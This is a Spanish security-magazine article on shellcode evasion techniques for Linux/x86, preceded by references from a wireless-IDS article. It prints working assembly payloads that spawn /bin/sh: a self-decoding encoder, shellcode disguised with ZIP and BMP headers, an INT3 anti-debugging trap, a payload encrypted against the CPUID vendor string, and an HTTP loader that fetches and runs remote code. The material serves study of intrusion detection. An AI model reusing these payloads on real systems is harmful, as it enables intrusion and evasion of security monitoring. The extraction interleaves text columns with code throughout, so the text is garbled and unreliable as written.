http://www.802.11mercenary.net/lorcon/ - Pgina web de LORCON requera que el lmite de deteccin
https://www.usenix.org/events/sec03/tech/full_papers/bellardo/bellardo_html/ fuera bajo el cual generar multitud
- Interesante documento sobre heursticas de deteccin y ataques DoS de falsos positivos. La correlacin
http://sourceforge.net/projects/airpwn - Pgina web de Airpwn de alertas entre diversos tipos de
ht tp: / / w w w.rootsecure.net /content /downloads / pdf / wlan _ macspooof_
deteccin pueden dar robustez
detection.pdf - Trabajo sobre la deteccin de MAC spoofing mediante los nmeros
a tcnicas que por si solas no se-
de secuencia de Joshua Wright
http://www.snort-wireless.org/ - Pgina web de Snort-Wireless
ran lo suficientemente fiables, an
http://www.cs.cmu.edu/~jfrankli/usenixsec06/usenixsec06driverfingerprinting.ps as, los sistemas de deteccin de
- Documento sobre Driver Fingerprinting intrusiones siempre requerirn dedi-
http://www.scs.carleton.ca/~kranakis/Papers/IDSRFFv4-4.pdf Documento cacin y conocimiento de la red para
acerca de RF fingerprinting alcanzar los parmetros ptimos de
configuracin. l

www.hakin9.org 51
La evolucin de los
cdigos Shell
Ataque

Itzik Kotler

Grado de dificultad

En este artculo os presentar diferentes cdigos shell que


superan diversos obstculos. Tales como los NIDS/IPS y el
entorno que no es estndar. Mostraremos los puntos dbiles
potenciales y la manera de vulnerarlos.

E
l cdigo shell es un fragmento de cdi- As que la amenaza es enorme si se ejecu-
go mquina utilizado como la carga en ta un cdigo shell en un sistema. Este se eje-
la explotacin de un fallo del software. cutar con los mismos privilegios del proceso
Cada vez que se altera el flujo de un programa, que fue vulnerado, despus tiene lugar una
los cdigos shell se convierten en su continua- intensificacin, en la que los privilegios cam-
cin lgica. Explotar las vulnerabilidades como bian de los normales a los del administrador.
el desbordamiento de buffer, o el ataque de la En el cdigo shell radica la facultad de hacer
cadena de formato requiere de un cdigo shell, todo y hacerlo en sigilo, ya que las acciones
que con frecuencia es una parte de la carga del mismo quedan enmascaradas como si fue-
explosiva del ataque. El mismo cdigo que se
ejecutar cuando haya tenido xito el proceso
de explotacin, es el cdigo shell. En este artculo aprenders...
Las versiones ms populares de los cdi-
Cules son los obstculos que encuentra el ata-
gos shell se ocupan de proporcionar algn tipo
cante cuando intenta ejecutar un cdigo shell en
de acceso a la lnea de comandos del sistema un sistema vulnerado, as como las soluciones
atacado por ello el nombre de cdigo shell a estos obstculos,
(cdigo del intrprete de comandos). Un intr- las pautas futuras para un diseo y una progra-
prete de comandos o shell es un software que macin ms ingeniosos del cdigo shell.
proporciona una interfaz de usuario final a los
servicios otorgados por el ncleo del sistema Lo que deberas saber...
operativo.
El cmd.exe para la familia de sistemas Deberas tener conocimientos bsicos sobre el
operativos de Windows y el /bin/bash para x86 Assembly en la plataforma Linux,
Linux y UNIX son ejemplos de intrpretes de deberas conocer algunas vulnerabilidades
bsicas como el desbordamiento de buffer, o
comandos. Estas son las mismas aplicaciones
los ataques de cadenas de formato.
que el cdigo shell intentara ejecutar sucesi-
vamente.

52 www.hakin9.org
Cdigos Shell

sen emitidas por el mismo proceso Como los antivirus, el NDIS


vulnerado. tiene una base de datos de firmas Listado 1. Implementacin del
Se han creado varias solucio- y patrones, de los que se ha probado codificador +1
nes para dirigir y responder a la o al menos es muy probable que se #
amenaza que supone la ejecucin pruebe que son partes de un intento # (linux/x86) execve
de cdigos shell en los sistemas. de vulneracin. La mayora de estas ("/bin/sh", ["/bin/sh"],
Dentro de este grupo encontramos firmas son realmente fragmentos NULL) / encoded by +1
- 39 bytes
desde la instalacin de los crculos y trozos de versiones reconocidas
# - izik@tty64.org
de monitorizacin como la deteccin de cdigos shell, compiladas ba- #
de intrusiones y los sistemas de sndose en los anlisis estadsticos .section .text
prevencin hasta un par de pasos realizados con estos cdigos, ya que .global _start
que el administrador del sistema los mismos son reciclados a menudo _start:
#
podra dar. Estas soluciones son de un ataque a otro. El resultado
# Encoded payload (2nd cdigo
obstculos desde el punto de vista es una lista de bytes comnmente shell)
del atacante. utilizados, secuencias de bytes que #
En este artculo algunas de estas aparecen con asiduidad, y otras fun- pushl $0x81cee28a
soluciones se han abstrado a su ciones que aplican los cdigos shell, pushl $0x54530cb1
pushl $0xe48a6f6a
concepto, revelando as puntos dbi- como los registros de tamaos.
pushl $0x63306901
les potenciales, as como un ejemplo La fuerza de este mtodo provie- pushl $0x69743069
real de cdigo shell que usa los pun- ne de lo bien compiladas que estn pushl $0x14
tos dbiles para evitar la solucin. las reglas y de cmo es la estructura popl %ecx
Aunque estos cdigos shell se dise- tpica del cdigo shell que utiliza el #
# Decoding loop
aron para que el x86/Linux fuera ataque. Puesto que las reglas no
#
el sistema atacado, algunos de los pueden ser controladas, la estructura _unpack_loop:
conceptos e ideas que se pusieron del cdigo shell debe cambiarse para decb (%esp, %ecx, 1)
en prctica con ellos pueden utilizar- saltar las reglas. Este tipo de accin decl %ecx
se en diferentes plataformas /OS. es llamada polimorfismo, y vulnera jns _unpack_loop
incl %ecx
las flaquezas de las reglas.
mul %ecx
La evolucin vs el Otro punto dbil se detecta #
diagnstico por Cable cuando la vulneracin tiene luegar # Jump to the decoded cdigo shell
El mtodo de diagnstico por cable bajo una capa de encriptacin, los #
a menudo se pone en prctica den- protocolos como el SSL y los VPNs push %esp
ret
tro de soluciones que en realidad (IPSec) pueden utilizarse para cons-
son Sistemas de Deteccin de Intru- truir un tnel (si estn disponibles
siones ( Intrusion Detection Systems y el servidor lo admite) cuyo resulta- se descifra en el punto final, el NIDS
o IDS) o de Prevencin de Intrusio- do ser una desviacin del NDIS, co- no tiene manera de saber cuales son
nes (Intrusion Prevention Systems mo cuando el trfico se encripta solo los datos reales que se pasan, y cua-
o IPS). Estas soluciones se pliegan
en diferentes tipos basados en su
mtodo de despliegue. La esencia
del despliegue en red es detectar
todos los tipos de trfico maligno
de red que puedan ser detectados
por un cortafuegos convencional.
Mientras que la base del despliegue
del host es monitorizar el sistema en
busca de conductas sospechosas.
El mtodo de diagnstico por
cable es una caracterstica del NIDS
(Sistema de Deteccin de Intrusio-
nes) e implica el reconocimiento
y clasificacin del trfico de red an-
tes de que este llegue a su destino.
Este incluye avisos ante un posible
intento de vulneracin e incluso
a veces ante datos de una vulnera- Figura 1. El cdigo shell que se auto decodifica, utilizando el codificador +1
cin posterior. para evitar los NIDS

www.hakin9.org 53
Ataque

El polimorfismo del cdigo shell #


Listado 2. Implementacin del tambin puede obtenerse cuando se _unpack_loop:
archivo ZIP dentro del cdigo lleva a cabo un intento de vulneracin decb (%esp, %ecx, 1)
shell dentro de un protocolo que requiere decl %ecx

#
o restringe un juego de caracteres. jns _unpack_loop
# x86/linux execve Por ejemplo los protocolos pura- incl %ecx
("/bin/sh", ["/bin/sh", NULL]) mente textuales rechazaran auto- mul %ecx
+ ZIP Header - 28 bytes mticamente cualquier dato binario. #
# - izik@tty64.org
Para manipular estas condiciones el # Jump to the decoded cdigo shell
#
.section .text
polimorfismo del cdigo shell produ- #
.global _start jo un cdigo alfanumrico. push %esp
_start: Los cdigos shell codificados ret
# estn compuestos de dos partes:
# PK[\03\04], PK[Zip]
la carga til codificada en la que se Cuanto ms sencillo sea el mtodo
archive data header (5 bytes)
#
guarda ya codificado el cdigo shell de decodificacin ms pequeo se-
.byte 0x50 real, y el decodificador- que puede r el cdigo del decodificador, ms
.byte 0x4b considerarse un cdigo shell ms all del beneficio que proporciona el
.byte 0x03 pequeo que codifica la carga til cdigo shell comparado con el diag-
.byte 0x04
y luego salta hacia ella. nstico por cable. Tambin permite
.byte 0x24
#
Este cdigo shell codificado utilizar los bytes restringidos como el
# execve("/bin/sh", ejecutar el (/bin/sh) cuando este se NULL por ejemplo. El valor de NULL
["/bin/sh", NULL]); ejecute. Pero lo hace sin abandonar- dentro de un cdigo shell podra sa-
# lo al cable. Comienza con una serie botear la vulneracin cuando el pun-
push $0xb
de PUSHs, 4 bytes a la vez. Los da- to dbil est basado en una cadena,
popl %eax
cdq
tos que se impulsan hacia la pila son
push %edx el cdigo shell codificado. La pila es Listado 3. Implementacin
push $0x68732f2f un lugar ideal para deshacer peque- del formto BITMAP dentro del
push $0x6e69622f as cantidades de datos y tiene (por
mov %esp,%ebx
cdigo shell
defecto) permisos promiscuos que
push %edx
no slo permiten escribir y leer, sino #
push %ebx
# x86/linux execve
mov %esp, %ecx tambin ejecutar cdigos desde la
("/bin/sh", ["/bin/sh", NULL])
int $0x80 misma. + Bitmap 24bit Header
- 23 bytes
# # - izik@tty64.org
les no. Como no siempre es posible # Encoded payload (2nd cdigo shell) #
.section .text
hacer un tnel hacia el sistema esta #
.global _start
debilidad se puede considerar como pushl $0x81cee28a
_start:
una solucin genrica, pero depen- pushl $0x54530cb1 #
de del escenario. pushl $0xe48a6f6a # Bitmap 24bit Header
pushl $0x63306901 #

El CJO0TI se iguala al pushl $0x69743069


.byte 0x42
.byte 0x4D
/BIN/SH .byte 0x36
Codificar el cdigo shell es la base Luego llega el cdigo del decodifica- .byte 0x91
del polimorfismo . Realizar la codi- dor. El mtodo de codificacin pues- #
ficacin permitir a los bytes mar- to en prctica aqu es sencillamente # execve("/bin/sh",
["/bin/sh", NULL]);
cados y las secuencias que se van un juego de incremento y decrecin.
#
a utilizar libremente sin preocuparse El decodificador se crea desde un push $0xb
por el riesgo de estropear el intento bucle que repite cada byte que ha popl %eax
de vulneracin. Hay diferentes m- sido impulsado anteriormente, y rea- cdq
todos de codificacin que se basan liza la accin opuesta (sustraccin) push %edx
push $0x68732f2f
mayoritariamente en soluciones para retornarlo a su valor original.
push $0x6e69622f
matemticas o lgicas. Finalmente Despus de que termina el bucle, mov %esp,%ebx
la codificacin crea una brecha entre este salta hacia el cdigo shell des- push %edx
lo que sucede en el cable y lo que plegado en la pila. push %ebx
acontece durante la ejecucin del mov %esp, %ecx
int $0x80
cdigo shell, despus de ser deco- #
dificado. # Decoding loop

54 www.hakin9.org
Cdigos Shell

pues el byte NULL marca el final de tos de datos tambin incluyen un o incluso como un archivo ZIP inte-
la misma. Pero cuando se emplea en encabezado que contiene a veces rrumpido. Incluso, cuando el sistema
la capa de codificacin, la funcin bytes mgicos. Estos ayudan a la de monitorizacin no es capaz de
vulnerable (e.g. strcpy()) nunca aplicacin a verificar que de hecho reconocer al ZIP como un formato,
procesa el valor real de NULL, pues el flujo de datos de entrada viene en an as los bytes del encabezado no
este est codificado. el formato deseado. se utilizan habitualmente dentro del
Aunque la codificacin cambia Insertando los bytes mgicos de cdigo shell y por tanto dificultan que
la superficie del cdigo shell, es formatos de archivo reconocidos den- se le reconozca como dicho cdigo.
importante darse cuenta que no tro del cdigo shell se puede ayudar Cuando imitamos un formato de da-
siempre resulta en un resultado que a cambiar ms fcilmente la combina- tos, del tipo que hemos mencionado
es inmune al mtodo de diagnstico cin del mismo con el trfico. Es im- o de otro, el problema casi siempre
por Cable. La reutilizacin del mismo portante darle personalidad al cdigo recae en la profundidad del anlisis
mtodo de codificacin y de la en- shell, especialmente si la vulneracin realizado por el sistema de moni-
trada provocar que sea percibida tiene lugar por las vas ms comunes, torizacin. No siempre es posible
como popular y por tanto se registre como pueden ser el e-mail y la Web. reconstruir todo el formato pues este
como un patrn. Los constantes El cdigo shell identificado como un
cambios de frmula, as como del archivo ZIP podra ayudar a engaar Listado 4. Implementacin de
esquema de codificacin, de la en- al sistema y destruir cualquier suma INT3h dentro del cdigo shell
trada y quizs del relleno ayudara estadstica y/o las reglas para un c-
a multiplicar las posibilidades de evi- digo shell sencillo. #
# (linux/x86) anti-debug trick
tar el diagnstico por Cable dentro El cdigo shell comienza con
(INT 3h trap) + execve
de un ataque. unos 5 bytes de encabezado de ("/bin/sh", ["/bin/sh", NULL],
formato del archivo comn ZIP. Lo NULL) - 39 bytes
Yo soy ZIP, y t? que hace posible que este funcione # - izik@tty64.org
Una forma de distinguir entre un for- con precisin es que estos 5 bytes #
.section .text
mato de datos y otro es intentando se traduzcan en instrucciones de
.global _start
sondear sus marcadores. Por ejem- montaje vlidas. Cuando se fija un _start:
plo, la extensin de un archivo se sistema en el cdigo shell, el mismo #
asocia con frecuencia a un formato primero encontrar estos 5 bytes, # Register signal handler
de datos especfico pero a parte y hay posibilidad de que los reconoz- #
push $0x30
de esto, la mayora de los forma- ca a todos como un archivo ZIP real
popl %eax
push $0x5
popl %ebx
jmp _evil_code
#
# Debugger check
#
_evilcode_loc:
popl %ecx
int $0x80
int3
incl %eax
#
# Alternative code flow
#
_evil_code:
call _evilcode_loc
#
# Real shellcode
#
cdq
movb $0xb, %al
push %edx
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %edx
push %ebx
pushl %esp
jmp _evilcode_loc

Figura 2. El archivo ZIP que imita al cdigo shell para eludir a los NIDS

www.hakin9.org 55
Ataque

debera incluir un carcter ilegal, que (.RTF). La nica limitacin que aqu servidor real o virtual que procesa/
podra traducirse en instrucciones se aplica es que cualquier formato ejecuta el cdigo sospechoso dentro
de montaje no vlidas, o en aquellas que uno intente imitar, como se ha de s mismo y rastrea cada paso que
que causaran una multa de acceso; dicho antes, debe contener los bytes da y crea una salida. Al cruzarlo con
o incluso una estructura de formato del encabezado al inicio del cdigo diferentes salidas de cdigos shell
que no pueda aplicarse en un cdigo shell, y por su causa, todos los bytes o de cdigos malintencionados se
shell por una razn u otra. Se puede que hay en el encabezado deben ser obtienen cdigos shell, y una vez
detectar que no es un clon perfecto. instrucciones vlidas de montaje, as se ejecutan en la sandbox, hay
Al revisar una lista de formatos co- como aquellas que no provoquen pocas dudas sobre su naturaleza
munes, hay algunos ms inexactos multas de acceso en el momento de y propsito.
que otros, en lo que a su encabezado la ejecucin. La fuerza de este mtodo provie-
y estructura se refiere. Los formatos ne de su enfoque activo que se inter-
de medios son buenos candidatos, La evolucin vs el preta como lo opuesto al diagnstico
sobre todo los formatos puros (no- diagnstico en tiempo por Cable, el cual se apoya en sus
comprimidos), pues estos tienden de ejecucin reglas para ser un factor. La idea es
a ser ms flexibles, y tambin son El mtodo de diagnstico en el ejecutar el cdigo a travs de una
lo suficientemente habituales como momento de ejecucin a menudo CPU simulada, obteniendo los cdi-
para ser considerados trfico normal se pone en prctica dentro de las gos shell en su punto ms bajo. Ya
en la mayora de los casos. soluciones que son los Sistemas de que el propsito de los cdigos shell
El Bitmap (.BMP) es el formato Deteccin de Intrusiones (IDS) o Sis- es ejecutarse de modo puntual en la
puro de una imagen, lo que hace temas de Prevencin de Intrusiones CPU del sistema vulnerado, la sand-
que no sea ideal para un encubri- (IPS) con un nfasis en el desplie- box es capaz de rastrear y reconocer
miento, ya que es improbable que gue de su red. Este mtodo es una fcilmente los cdigos shell. Aqu no
el sistema de monitorizacin tenga adicin al de diagnstico por Cable tienen relevancia los cambios en la
una funcin que pueda decir si una que antes se ha comentado. estructura de bytes del cdigo she-
imagen determinada es real o slo El mtodo de diagnstico en el ll, al igual que en el momento de la
es un ruido casual. El concepto im- momento de la ejecucin implica ejecucin, dicho cdigo muestra su
plcito aqu es que se supone que reconocer las salidas de la ejecucin verdadero rostro.
sea el encabezado quin hable. clasificadas que fueron marcadas
Este concepto tambin funciona por dicho diagnstico como sos- No me limpies
adecuadamente con otros formatos pechosas de ser un cdigo shell. Los trucos anti-depuracin son muy
ptimos que son el RIFF (.WAV) Al realizar esto con una sandbox comunes dentro de las aplicaciones
y el Formato de Texto Enriquecido (caja de arena), la cual puede ser un comerciales de Windows, por lo
que implica su nombre. Estos frag-
mentos de cdigos estn instalados
y colocados dentro del cdigo de la
aplicacin para prevenir la depura-
cin o que se le aplique la ingeniera
inversa. Naturalmente, el sistema
atacado no se supone que est en
depuracin de modo que se puede
asumir con confianza que los trucos
insertados de anti-depuracin dentro
del cdigo shell no evitaran que se
ejecutara en el sistema atacado. Pe-
ro es muy probable que esto traiga el
caos a la sandbox. Hay varios trucos
anti-depuracin, los ms interesan-
tes no son aquellos que bloquean
ciegamente a los depuradores sino
mas bien permiten que la aplicacin
consulte lo que se est o no se est
depurando actualmente, por tanto le
permite que acte segn el resulta-
do.
Figura 3. La imagen en Bitmap que imita al cdigo shell para evadir a los Si un cdigo shell es consciente
NIDS del hecho de que se est ejecutando

56 www.hakin9.org
Cdigos Shell

en una sandbox o alternativamente cin con la misma aplicacin, que que no hay depurador y en el cual
en un entorno depurado puede des- es la configuracin predeterminada se necesitar funcionalidad real del
pistar al depurador dividiendo su en la mayora de los depuradores cdigo shell.
flujo en dos corrientes principales interactivos, y como ni siquiera hay
de cdigo, la ruta segura y la inse- una opcin en aquellos que no son #
gura, donde los resultados del flujo interactivos, el cdigo shell podra # Debugger check
de esta ltima en el cdigo shell van planificar su flujo de ejecucin de tal #
hacia un trmino anticipado. La ruta modo que estuviese oculto para la _evilcode_loc:
segura contiene la funcionalidad real mayora de los depuradores. ...
del cdigo shell. int3
Este cdigo shell pone en # ...
prctica uno de los trucos bsicos # Register signal handler
de anti-depuracin, la trampa INT # La verdadera comprobacin tiene lu-
3h. Atrapar al depurador potencial push $0x30 gar despus de que se haya aumen-
aumentando la interrupcin 3H inte- popl %eax tado el INT3. El sistema de manejo
rrupt y configurando un manipulador push $0x5 de la seal ya est registrado y se-
de seal o de excepciones para que popl %ebx ala hacia _ evil _ code. Este punto
lo maneje dentro del cdigo shell. El jmp _evil_code dentro del cdigo shell es en el que
resultado es que cada vez que el ... la divisin tiene lugar, basndose en
cdigo shell se ejecuta en un depu- _evilcode_loc: el resultado de la interrupcin.
rador la interrupcin causar que el popl %ecx
depurador se detenga, ya que el INT int $0x80 Listado 5. Decifrar el cdigo
3h es el mismo interruptor que utiliza ... shell encriptado con la CPUID
el depurador. Cuando el depurador _evil_code:
entra en el cdigo fija el EIP hasta call _evilcode_loc #
# (linux/x86) execve
el punto que sobrepase al cdigo de ...
("/bin/sh", ["/bin/sh"], NULL)
operacin del INT 3h, y a menos que / xor'ed against Intel x86
est configurado de otro modo, no lla- Primero el cdigo shell registra un CPUID - 41 bytes
mar al manipulador del cdigo shell. manipulador de la seal para SIG- # - izik@tty64.org
El cdigo asignado al manipulador TRAP (INT3). Utilizando una CALL #
.section .text
del cdigo shell es un flujo de ruta (LLAMADA) inversa para obtener la
.global _start
segura, y el de ruta insegura es la ubicacin del ' _ evil _ code' en el _start:
continuacin natural que va ms all tiempo de ejecucin. La direccin #
del cdigo de operacin del INT 3h. se le da a la funcin como una re- # CPUID to load the key
As que al no compartir la interrup- llamada, estableciendo el sitio en el #
xorl %eax, %eax
cpuid
#
# Push xored payload
(2nd cdigo shell)
#
pushl %ecx
pushl $0xeca895e7
pushl $0x3f377fde
pushl $0x8fec1a07
pushl $0x0e4a1c6e
pushl $0x04165b06
#
# Decrypt it w/ CPUID data
#
_unpack_loop:
xorl %ecx, (%esp)
popl %edx
jnz _unpack_loop
#
# Jump to the decrypted shellcode
#
subl $0x18, %esp
pushl %esp
ret
Figura 4. El cdigo shell con la trampa anti-depuracin para evitar los IPS y
las Sandboxs

www.hakin9.org 57
Ataque

# mov %esp,%ebx que acordar un secreto o realizar un


# Debugger check push %edx intercambio de claves entre ellas. El
# push %ebx intercambio no es una opcin, pues-
_evilcode_loc: pushl %esp to que no es posible predecir cuando
popl %ecx jmp _evilcode_loc ser vulnerado el sistema atacado.
int $0x80 La opcin de acuerdo secreto es
int3 Este cdigo es parte del cdigo ms prometedora. El acuerdo secre-
# shell, que hubiese sido ejecutado si to por intercambio de claves tambin
# Debugger will resume flow here! hubiese sido llamada la funcin de es conocido como el mtodo de cla-
# rellamada para el SIGTRAP. Esto
incl %eax significa que cuando el SIGTRAP se Listado 6. Implementacin del
_evil_code: acepte y el programa lo manipule es- cdigo shell utilizando el paseo
call _evilcode_loc te cdigo toma el control y a cambio padre-hijo para encontrar el
ejecutar '/bin/sh', atacando la sand- sistema shell vlido
En caso de que el depurador haya box y quizs otras aplicaciones que
hecho saltar un EIP, que realmente intentarn depurar el cdigo shell #
# (linux/x86) getppid()
se estableci como EIP+1 (el INT3 o rastrearlo.
+ execve("/proc/<pid>/exe",
es un cdigo de operacin de un El concepto de realizar pruebas ["/proc/<pid>/exe", NULL]) - 51
byte, 0xCC), al flujo del cdigo de en el momento de la ejecucin, que bytes
ruta insegura comienza. La seal() podra darle a conocer al cdigo # - izik@tty64.org
syscall baj a cero el registro EAX. shell la naturaleza de su entorno, au- #
# * thanks to pR for
Aqu el depurador contina desde menta las oportunidades de que se
the _convert loop ;-)
el INT3. Luego este aumentar en ejecute dentro de los Honeypots, de #
uno el EAX (que lo iguala a la EXIT las Sandboxes o dentro de aplicacio- .section .text
syscall) y termina llamado a la eti- nes depuradas. Tambin es posible .global _start
queta _evilcode_loc, que a cambio intentar contraatacar dentro de la _start:
#
alcanzar la instruccin INT $0x80 ruta insegura del cdigo, aunque no
# Who's your daddy?
y equivale a ejecutar la llamada del se puede hacer mucho al respecto. #
sistema exit().?Qu hubiese pasado Prevenir estar expuesto es la princi- push $0x40
sin el depurador? pal ventaja. popl %eax
int $0x80

# Perder la cabeza por #


# Convert INT to ASCII
# Real shellcode una CPU #
# La criptografa fue la solucin ele- _convert:
cdq gida cuando diferentes centros de decl %esp
movb $0xb, %al datos fueron interceptados por una cdq
pushl $0xa
push %edx tercera parte y se necesitaba de un
popl %ebx
push $0x68732f2f anlisis para evitarlo. Pero para que divl %ebx
push $0x6e69622f esto funcione, las dos partes tienen addb $0x30, %dl
movb %dl, (%esp)
testl %eax, %eax
jnz _convert
cdq
#
# Launch [/proc/<pid>/exe]
#

popl %ebx
pushl %edx
pushl $0x6578652f
pushl %ebx
pushl $0x2f636f72
pushl $0x702f2f2f
movb $0xb, %al
movl %esp, %ebx
pushl %edx
pushl %ebx
movl %esp, %ecx
Figura 5. El cdigo shell encriptado contra el distribuidor de la CPU para int $0x80
evitar los IPS y las Sandboxs

58 www.hakin9.org
Cdigos Shell

ves pre-compartidas (pre-shared). El cdigo de operacin de la CPUID #


Por tanto ambos lados conocen la nos proporcion la informacin. La # Decrypt it w/ CPUID data
misma clave sin que haya un proce- primera fase es impulsar el cdigo #
so de intercambio. Tomar un cdigo shell encriptado hacia la pila, igual _unpack_loop:
shell y encriptarlo con los datos o las que en el diseo del codificador/ xorl %ecx, (%esp)
variables, que el atacante conozca decodificador comentado en La popl %edx
ambos y que sean accesibles para Evolucin vs el diagnstico por Ca- jnz _unpack_loop
el cdigo shell, permitira al mismo ble. #
descifrarse en la mquina de destino # Jump to the decrypted cdigo shell
pero no en la Sandbox u otro sistema # #
por esa misma razn. # Push xored payload (2nd shellcode) subl $0x18, %esp
El cdigo shell puede hacer casi # pushl %esp
cualquier consulta sobre el sistema pushl %ecx ret
a cada variable o dato, de un modo pushl $0xeca895e7
eventual que abarca la globalidad. pushl $0x3f377fde Cuando se haya realizado el desci-
Algo de esta informacin puede pushl $0x8fec1a07 frado la fase siguiente ser un salto
estar disponible tambin para el ata- pushl $0x0e4a1c6e directo hacia el cdigo shell. Una vez
cante previamente al ataque. Esta pushl $0x04165b06 ms depende de cul sea la respues-
coordinacin puede de algn modo ta de la CPUID. Esta funcionar sin
tener como resultado un modelo Ahora que ya tenemos el cdigo problemas o finalizar el programa
PSK. La utilizacin de un cdigo shell desplegado en la pila y est (debido a excepciones tales como
similar en el que est basado el codi- an encriptado, es hora de desci- la instruccin ilcita o la violacin del
ficador (como se ha demostrado pre- frarlo con la respuesta de la CPUID. acceso). Este concepto es un ataque
viamente) y aadir la rutina crypto Este proceso no controla ni sabe si de lado oculto a la sandbox que se
y la bsqueda de claves sirve de ba- ha tenido xito. Si la CPUID de- lleva acabo, ya sea no poniendo en
se para el cdigo shell encriptado. volvi un distribuidor diferente al prctica el cdigo de operacin de
Este cdigo shell se parece un previsto, as que en este ejemplo la CPUID, o teniendo all un valor
poco a aquel del decodificador. Sin si el distribuidor no es Intel sino diferente. De ninguna manera est
embargo, el bucle de decodificacin AMD o cualquier otro, el resultado limitado a la cadena Intel o a la
en este caso no es absoluto como lo ser la conversin de la carga til CPU del mismo distribuidor. Puede
era en la situacin original de codifi- encriptada en un montaje-desecho cambiarse para que funcione con la
cador-decodificador. El secreto com- que producir una excepcin tras la cadena del distribuidor AMD o cual-
partido es el vendedor de la CPU ejecucin. quier otro parmetro que la CPUID
(e.g. Intel) y la misma cadena se
utiliz anteriormente para encriptar
el cdigo shell, y ser utilizada para
descifrar el mismo una vez se ejecu-
te este en la mquina. Esto significa
que cualquier vendedor de CPU dife-
rente (e.g. AMD) tendr como resul-
tado un cdigo corrupto y ser intil
para el anlisis. El distribuidor de la
CPU seleccionado como un PSK es
slo un ejemplo de cun fcil puede
utilizar el atacante la informacin re-
copilada para la tarea en el sistema
vulnerado. Tambin es muy fcil ac-
ceder a esta informacin especfica
del montaje, usando el cdigo de
operacin de la CPUID.

#
# CPUID to load--
#
xorl %eax, %eax
cpuid Figura 6. El cdigo shell utilizando el paseo padre-hijo para encontrar el
... intrprete de cdigos local para los sistemas no estndar

www.hakin9.org 59
Ataque

devolver y es predecible por esa el cdigo shell se ejecute en una addb $0x30, %dl
razn e incluso para cualquier otra configuracin normal sino mas bien movb %dl, (%esp)
informacin que el atacante pueda se ampliar la oportunidad de que
saber de antemano. se ejecute en uno que no sea estn- Listado 7. Implementacin del
dar. Una manera de examinar qu cdigo shell y su cargador va
La evolucin vs la intrpretes se encuentran en el sis- HTTP
personalizacin tema es observando prcticamente
Hasta aqu, los obstculos que he- los procesos de jerarqua en Linux. #
# (x86/linux) HTTP/1.x GET,
mos comentado eran de terceras Al explorar la topologa padre-hijo,
Downloads and JMP - 68+ bytes
partes, que puede ser cualquier se esclarecer que en un rango de # - izik@tty64.org
cosa desde un NIDS hasta un IPS. 0-3 profundidades dentro del rbol #
Aunque por lo general suele dr- el proceso de los padres tiene ms .section .text
sele este enfoque, sobre todo para probabilidades de ser un intrprete .global _start
_start:
compaas que tengan la categora del cdigo. La nica excepcin aqu
push $0x66
de empresas, el propio sistema vul- es el proceso 'initd', iniciado por el popl %eax
nerado es otro factor que podra ser propio ncleo. cdq
un obstculo. El error ms comn Para que un cdigo shell conozca pushl $0x1
que aparece en el diseo de cdi- a su progenitor, basta con una senci- popl %ebx
pushl %edx
gos shell son los valores insertados, lla llamada a la getppid() para ob-
pushl %ebx
especialmente la cadena /bin/sh. tener sus procesos parentales PID. pushl $0x2
Como no hay modo de saber que Esta es la clave que luego utilizar el movl %esp, %ecx
sh reside en el directorio /bin, o que cdigo shell para explorar el proceso int $0x80
incluso por la misma razn exista el parental ' /proc entry. El /proc entry popl %ebx
popl %ebp
directorio /bin. Con excepcin de la contiene tal informacin como la ruta
movl $0xfeffff80, %esi
instalacin de la caja tiende a ser del ejecutable y de los parmetros movw $0x1f91, %bp
popular, pero tambin pueden surgir de la lnea de comandos que se le #
casos especiales. Es cierto que en han pasado. Por defecto, se puede # not %bp, for ports
el 80% de los casos /bin/sh ser un acceder a este desde cualquier pro- number that are < 256
#
enlace simblico al intrprete del c- ceso. Est sujeto a cambios, pues en
notl %esi
digo y bash existir en /bin. Pero en los procfs y en las versiones modifi- pushl %esi
el otro 20% har que la llamada del cadas de los ncleos no siempre es bswap %ebp
sistema execuve() falle, aunque el cierto esto. orl %ebx, %ebp
programa mismo sea efectivamente pushl %ebp
incl %ebx
vulnerable. #
pushl $0x10
Es ms, la personalizacin es # Who's your daddy?
pushl %ecx
un factor que necesita ser dirigido. # pushl %eax
En entornos Linux y *BSD es muy push $0x40 movb $0x66, %al
comn, pues existen mltiples dis- popl %eax movl %esp, %ecx
int $0x80
tribuciones, y la felxibilidad general int $0x80
_gen_http_request:
que conduce a que los administra- #
dores avanzados de sistemas y los La funcin getppid() devuelve un # < use gen_httpreq.c, to
usuarios avanzados recompongan valor entero. Por tanto, se necesita generate a HTTP GET request. >
la composicin del sistema como hacer la conversin de ASCII en un #
_gen_http_eof:
deseen. Puedes contar con estas entero. Ya que esta necesita ser un
movl %esp, %ecx
composiciones en los sistemas de punto dentro de la cadena de la ruta _send_http_request:
un alto perfil o aquellos integrados (e.g. /proc/<pid>/exe). Ese es el pro- movb $0x4, %al
que tienen una funcionalidad espe- ceso parental ejecutable. int $0x80
cfica. _recv_http_request:
movb $0x3, %al
#
pushl $0x1
Seguir a mis padres # Convert INT to ASCII
popl %edx
Detectar qu intrprete de cdigos # int $0x80
es posible en el momento de la _convert: incl %ecx
ejecucin y puede pasarse al exe- decl %esp testl %eax, %eax
jnz _recv_http_request
cve(), le otorga al cdigo shell la cdq
_jmp_to_code:
opcin de superar una situacin en pushl $0xa
subl $0x6, %ecx
la que no hay intrprete del cdigo popl %ebx jmp *%ecx
estndar ni rutas. No evitar que divl %ebx

60 www.hakin9.org
Cdigos Shell

testl %eax, %eax La evolucin vs la un cdigo shell es que permite


jnz _convert limitaciones que los cdigos de este tipo, que
cdq Los diferentes escenarios de vul- son mayores y ms avanzados se
neracin obligan a que existan carguen sin tener que preocuparse
Despus de darle una formaASCII diversas limitaciones en ella, los por el tamao, tambin se le aade
a la getppid(), todo lo que queda variados protocolos tienen diferen- el factor de automatizacin que
se pasa la llamada del sistema ex- tes tamaos de buffer, por tanto puede colaborar en las pruebas de
ecve(). es probable que el cdigo shell penetracin.
tuviera que cambiarse para que se Este es el cdigo shell carga-
# ajuste a la utilidad de la situacin. dor. El mismo buscar el cdigo
# Launch [/proc/<pid>/exe] La limitacin ms conocida es la shell binario de una URL determi-
# del tamao, que requiere que se nada luego la memorizar a corto
popl %ebx reduzca a veces el cdigo shell. plazo y saltar sobre ella. Ya que
pushl %edx Hay un trueque entre el nivel de solo ocupa 68 bytes limpios (un
pushl $0x6578652f la funcionalidad del cdigo shell poquillo grueso) es capaz de co-
pushl %ebx y su tamao. Lgicamente, cuanto municarse con cualquier servidor
pushl $0x2f636f72 ms compleja sea la funcionalidad HTTP en ambos protocolos, el
